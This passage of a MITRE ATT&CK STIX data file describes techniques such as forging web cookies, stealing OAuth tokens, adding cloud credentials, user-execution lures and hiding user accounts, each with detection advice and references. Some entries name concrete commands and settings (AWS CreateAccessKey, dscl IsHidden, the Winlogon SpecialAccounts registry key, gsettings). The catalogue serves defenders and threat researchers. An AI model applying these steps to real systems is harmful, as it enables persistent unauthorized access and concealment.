            "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_domains": [
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                    "source_name": "SpecterOps Managed Identity 2022",
                    "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.",
                    "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
                },
                {
                    "source_name": "Auth0 Understanding Refresh Tokens",
                    "description": "Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.",
                    "url": "https://auth0.com/learn/refresh-tokens"
                },
                {
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                },
                {
                    "source_name": "Cider Security Top 10 CICD Security Risks",
                    "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                },
                {
                    "source_name": "Kubernetes Service Accounts",
                    "description": "Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022.",
                    "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
                },
                {
                    "source_name": "Entra Managed Identities 2025",
                    "description": "Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token"
                },
                {
                    "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019",
                    "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
                },
                {
                    "source_name": "Microsoft - Azure AD App Registration - May 2019",
                    "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app"
                },
                {
                    "source_name": "Microsoft - OAuth Code Authorization flow - June 2019",
                    "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow"
                },
                {
                    "source_name": "Microsoft Identity Platform Protocols May 2019",
                    "description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols"
                }
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            "modified": "2025-04-15T19:58:49.300Z",
            "name": "Steal Application Access Token",
            "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)  Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nFor example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)  \n\nSimilarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment.(Citation: Cider Security Top 10 CICD Security Risks) If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. \n\nIn Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication.(Citation: Entra Managed Identities 2025)(Citation: SpecterOps Managed Identity 2022)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user.  ",
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            "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc",
            "created": "2020-10-02T17:08:57.386Z",
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                    "url": "https://attack.mitre.org/techniques/T1598/002",
                    "external_id": "T1598.002"
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                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "Sophos Attachment",
                    "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.",
                    "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"
                },
                {
                    "source_name": "Huntress HTML Smuggling 2024",
                    "description": "Matt Kiely. (2024, July 5). Smuggler\u2019s Gambit: Uncovering HTML Smuggling Adversary in the Middle Tradecraft. Retrieved March 18, 2025.",
                    "url": "https://www.huntress.com/blog/smugglers-gambit-uncovering-html-smuggling-adversary-in-the-middle-tradecraft"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "GitHub Phishery",
                    "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
                    "url": "https://github.com/ryhanson/phishery"
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            "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as [HTML Smuggling](https://attack.mitre.org/techniques/T1027/006) to harvest user credentials via fake login portals.(Citation: Huntress HTML Smuggling 2024)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
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                "Robert Simmons, @MalwareUtkonos"
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            "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",
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        {
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            "id": "attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd",
            "created": "2020-01-19T16:10:15.008Z",
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                    "url": "https://attack.mitre.org/techniques/T1098/001",
                    "external_id": "T1098.001"
                },
                {
                    "source_name": "Crowdstrike AWS User Federation Persistence",
                    "description": " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.",
                    "url": "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"
                },
                {
                    "source_name": "Expel IO Evil in AWS",
                    "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
                    "url": "https://expel.io/blog/finding-evil-in-aws/"
                },
                {
                    "source_name": "SpecterOps Azure Privilege Escalation",
                    "description": "Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.",
                    "url": "https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5"
                },
                {
                    "source_name": "Demystifying Azure AD Service Principals",
                    "description": "Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020.",
                    "url": "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/"
                },
                {
                    "source_name": "Lacework AI Resource Hijacking 2024",
                    "description": "Detecting AI resource-hijacking with Composite Alerts. (2024, June 6). Lacework Labs. Retrieved July 1, 2024.",
                    "url": "https://www.lacework.com/blog/detecting-ai-resource-hijacking-with-composite-alerts"
                },
                {
                    "source_name": "GCP SSH Key Add",
                    "description": "Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add"
                },
                {
                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                },
                {
                    "source_name": "Blue Cloud of Death Video",
                    "description": "Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.",
                    "url": "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815"
                },
                {
                    "source_name": "Blue Cloud of Death",
                    "description": "Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.",
                    "url": "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1"
                },
                {
                    "source_name": "Microsoft Entra ID App Passwords",
                    "description": "Microsoft. (2023, October 23). Enforce Microsoft Entra multifactor authentication with legacy applications using app passwords. Retrieved May 28, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity/authentication/howto-mfa-app-passwords"
                },
                {
                    "source_name": "Microsoft SolarWinds Customer Guidance",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/"
                },
                {
                    "source_name": "Mandiant APT42 Operations 2024",
                    "description": "Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations"
                },
                {
                    "source_name": "Expel Behind the Scenes",
                    "description": "S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.",
                    "url": "https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/"
                },
                {
                    "source_name": "Sysdig ScarletEel 2.0",
                    "description": "SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.",
                    "url": "https://sysdig.com/blog/scarleteel-2-0/"
                },
                {
                    "source_name": "Rhino Security Labs AWS Privilege Escalation",
                    "description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
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            "modified": "2025-04-15T21:45:50.674Z",
            "name": "Additional Cloud Credentials",
            "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538).(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)\n\nIn Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user\u2019s primary password is reset.(Citation: Microsoft Entra ID App Passwords)",
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        {
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            "created": "2018-04-18T17:59:24.739Z",
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                    "url": "https://attack.mitre.org/techniques/T1204",
                    "external_id": "T1204"
                },
                {
                    "source_name": "Krebs Discord Bookmarks 2023",
                    "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                    "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
                },
                {
                    "source_name": "Reliaquest-execution",
                    "description": "Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.",
                    "url": "https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/"
                },
                {
                    "source_name": "Telephone Attack Delivery",
                    "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"
                },
                {
                    "source_name": "Talos Roblox Scam 2023",
                    "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
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                {
                    "source_name": "proofpoint-selfpwn",
                    "description": "Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn"
                }
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:49.690Z",
            "name": "User Execution",
            "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as:\n\n* Enabling [Remote Access Tools](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary\n* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)\n* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)\n* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)\n\nFor example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Tools](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Oleg Skulkin, Group-IB",
                "Menachem Goldstein",
                "Harikrishnan Muthu, Cyble",
                "ReliaQuest",
                "Ale Houspanossian",
                "Fernando Bacchin"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "IaaS",
                "Containers"
            ],
            "x_mitre_version": "1.8",
            "x_mitre_data_sources": [
                "Instance: Instance Start",
                "File: File Creation",
                "Network Traffic: Network Connection Creation",
                "Container: Container Creation",
                "Instance: Instance Creation",
                "Network Traffic: Network Traffic Content",
                "Process: Process Creation",
                "Command: Command Execution",
                "Image: Image Creation",
                "Application Log: Application Log Content",
                "Container: Container Start"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103",
            "created": "2020-02-20T14:31:34.778Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1491/001",
                    "external_id": "T1491.001"
                },
                {
                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
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            ],
            "modified": "2025-04-15T19:58:49.776Z",
            "name": "Internal Defacement",
            "description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster)(Citation: Varonis) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d",
            "created": "2020-03-13T20:12:40.876Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/002",
                    "external_id": "T1564.002"
                },
                {
                    "source_name": "Cybereason OSX Pirrit",
                    "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf"
                },
                {
                    "source_name": "Apple Support Hide a User Account",
                    "description": "Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021.",
                    "url": "https://support.apple.com/en-us/HT203998"
                },
                {
                    "source_name": "FireEye SMOKEDHAM June 2021",
                    "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"
                },
                {
                    "source_name": "Hide GDM User Accounts",
                    "description": "Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022.",
                    "url": "https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/"
                },
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-15T22:39:51.186Z",
            "name": "Hidden Users",
            "description": "Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user\u2019s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Omkar Gudhate"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList</code> key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the <code>Hide500Users</code> key value to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file. Monitor the command line for usage of the <code>dscl . create</code> command with the <code>IsHidden</code> attribute set to <code>1</code>.(Citation: Apple Support Hide a User Account) ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows",
                "Linux"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Modification",
                "User Account: User Account Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "User Account: User Account Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819",
            "created": "2020-02-18T18:03:37.481Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1134/003",
                    "external_id": "T1134.003"
                },
                {
